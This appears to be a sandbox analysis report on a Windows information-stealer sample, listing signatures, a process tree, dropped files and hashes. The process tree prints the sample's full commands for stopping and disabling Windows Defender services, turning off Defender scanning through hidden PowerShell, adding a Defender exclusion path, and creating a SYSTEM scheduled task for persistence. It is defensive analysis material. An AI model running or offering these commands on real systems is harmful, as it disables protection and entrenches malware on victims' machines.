Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/04/2026, 03:15

General

  • Target
    2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
  • Size 2.6MB
  • Sample260420-dr1eksbz2z
  • SHA256 00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Launches sc.exe 16 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5184
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "WinDefend"
      2⤵
      • Launches sc.exe
      PID:4836
    • C:\Windows\SYSTEM32\sc.exe
      sc config "WinDefend" start= disabled
      2⤵
      • Launches sc.exe
      PID:1708
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "MsMpSvc"
      2⤵
      • Launches sc.exe
      PID:4384
    • C:\Windows\SYSTEM32\sc.exe
      sc config "MsMpSvc" start= disabled
      2⤵
      • Launches sc.exe
      PID:4944
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "Sense"
      2⤵
      • Launches sc.exe
      PID:5008
    • C:\Windows\SYSTEM32\sc.exe
      sc config "Sense" start= disabled
      2⤵
      • Launches sc.exe
      PID:5304
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "WdNisSvc"
      2⤵
      • Launches sc.exe
      PID:6000
    • C:\Windows\SYSTEM32\sc.exe
      sc config "WdNisSvc" start= disabled
      2⤵
      • Launches sc.exe
      PID:4432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Start-Sleep 60; Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2140
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "WindowsPresetMonitorTask" /tr "\"C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe\"" /sc onlogon /ru SYSTEM /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5984
    • C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe
      "C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5888
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "WinDefend"
        3⤵
        • Launches sc.exe
        PID:1128
      • C:\Windows\SYSTEM32\sc.exe
        sc config "WinDefend" start= disabled
        3⤵
        • Launches sc.exe
        PID:456
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "MsMpSvc"
        3⤵
        • Launches sc.exe
        PID:908
      • C:\Windows\SYSTEM32\sc.exe
        sc config "MsMpSvc" start= disabled
        3⤵
        • Launches sc.exe
        PID:4160
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "Sense"
        3⤵
        • Launches sc.exe
        PID:2864
      • C:\Windows\SYSTEM32\sc.exe
        sc config "Sense" start= disabled
        3⤵
        • Launches sc.exe
        PID:5456
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "WdNisSvc"
        3⤵
        • Launches sc.exe
        PID:5480
      • C:\Windows\SYSTEM32\sc.exe
        sc config "WdNisSvc" start= disabled
        3⤵
        • Launches sc.exe
        PID:5740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Start-Sleep 60; Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3944
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /tn "WindowsPresetMonitorTask" /tr "\"C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe\"" /sc onlogon /ru SYSTEM /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5348
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData\Roaming\Preset_Mon'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Preset_Mon'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2060

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ab2e23ebd39056c1e18e5b6545f2e8348223ab59e4bf26267a7020d7acad25de
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 fe72e7a48562fb65242a87ba76826d669f696931044461cc3f33220d1b128990
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_x5akr54d.0te.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5akr54d.0te.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Preset_Mon_x84.exe

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe
        • Size 2.6MB
        • SHA256 00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        d3dcompiler_47.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\d3dcompiler_47.dll
        • Size 3.7MB
        • SHA256 6346d8bad4d23d86146786392fb51457df736680457c643c5b399f3f5503326f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libEGL.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\libEGL.dll
        • Size 289KB
        • SHA256 a55793b9196a48b2e7c6f85cdf1b1ffb357a1357ade3aca596226e72144e1062
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libGLESv2.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\libGLESv2.dll
        • Size 6.5MB
        • SHA256 f365938fca8b6ea460ec974c605ecd60f820f939f2702d436829053974f4ec16
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140.dll
        • Size 588KB
        • SHA256 c4a30b1dd290791746b0ff003813df67ebbe6f9d6ff5b365c8815fc99b201845
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140_1.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140_1.dll
        • Size 36KB
        • SHA256 518e01179c86282815d617cfa99943dd54b4ae2465bb1114484ee9db08e02af4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140_2.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140_2.dll
        • Size 292KB
        • SHA256 7e5aa65466b8a76135e83065d7522c9a59bf46fc2c806a79a2c4c97e8bc87a5b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\vcruntime140.dll
        • Size 81KB
        • SHA256 da500677b56725f9a9b09eebc88ac91e63ceb758e5cd644e7df3561be46b1bbc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\vcruntime140_1.dll
        • Size 34KB
        • SHA256 e7a068745f184b9d43607b8c9626ee93f8c50276434a7e19baedae3944d032ec
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2060-70-0x000001E401F00000-0x000001E401F0C000-memory.dmp

        memory/2140-6-0x00000283BFAB0000-0x00000283BFAD2000-memory.dmp

        memory/2140-39-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

        memory/2140-40-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

        memory/2140-48-0x00000283A7730000-0x00000283A773C000-memory.dmp

        memory/2140-4-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

        memory/2140-5-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

        memory/2140-83-0x00000283A7730000-0x00000283A773C000-memory.dmp

        memory/3260-25-0x0000000003490000-0x0000000003491000-memory.dmp

        memory/3260-0-0x0000000003490000-0x0000000003491000-memory.dmp

        memory/3260-2-0x0000000003490000-0x0000000003491000-memory.dmp

        memory/3944-59-0x000001D0B4350000-0x000001D0B435C000-memory.dmp

        memory/3944-87-0x000001D0B4350000-0x000001D0B435C000-memory.dmp